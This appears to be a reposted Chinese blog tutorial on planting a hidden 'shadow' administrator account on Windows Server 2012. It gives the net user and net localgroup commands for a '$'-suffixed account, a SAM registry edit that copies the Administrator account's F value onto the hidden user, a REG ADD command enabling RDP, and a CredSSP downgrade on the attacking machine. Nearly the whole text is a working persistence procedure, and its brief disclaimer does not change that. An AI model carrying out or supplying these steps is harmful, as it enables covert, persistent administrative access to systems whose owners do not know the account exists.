前言
该文章只进行技术分享与探讨,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者无关。
在windows中创建一个影子用户,影子用户拥有和正常用户一样的权限和功能
影子用户只可在注册表中看到
演示环境:windows server 2012(靶机)
前提:
需要一个高权限用户(administrator 或者是 system)
一、
- 创建用户test(后面加个$符号是为了使net user 无法查看到)
net user test$ a+1 /add
- 将test用户添加到管理员组
net localgroup administrators test$ /add
- 将test用户移出users组
net localgroup users test$ /del
二、
打开注册表
找到HKEY_LOCAL_MACHINE\SAM\SAM
右键SAM选择权限
将Administrators权限设置为完全控制
然后找到我们创建的用户和其对应的类型
我们将隐藏用户右键导出命名为 1.reg 放到桌面
将其默认类型对应的注册表也右键导出到桌面,命名为 2.reg
接着我们导出管理员账户默认类型对应的注册表,命名为 3.reg
用记事本打开 2.reg 和 3.reg (Administrator用户的注册表),将 3.reg 中的F值复制粘贴替换掉2.reg中的F值
三、
先将隐藏用户删掉
net user test$ /del
回到注册表可以看到test用户的注册表已经清除
我们重新将桌面上的 1.reg 和 2.reg 导入到注册表
此时影子用户已经创建完成
四、
靶机开启3389端口用于远程连接
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
五、
攻击机:
打开远程桌面连接
使用影子用户进行登录
连接成功
六、
使用远程桌面连接可能会遇到的问题
解决办法如下:
注:这里注册表改的是攻击机的,不是靶机的注册表
打开注册表找到下面这个路径
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
在System下创建CredSSP文件夹,然后继续在CredSSP文件夹下创建Parameters文件夹
在Parameters文件夹下新建DWORD (32位)值(D),名称命名为AllowEncryptionOracle
设置DWORD(32位)值的数值数据为2,基数为16
修改完重新进行远程连接应该就可以正常连接了
版权归原作者 whathay 所有, 如有侵权,请联系我们删除。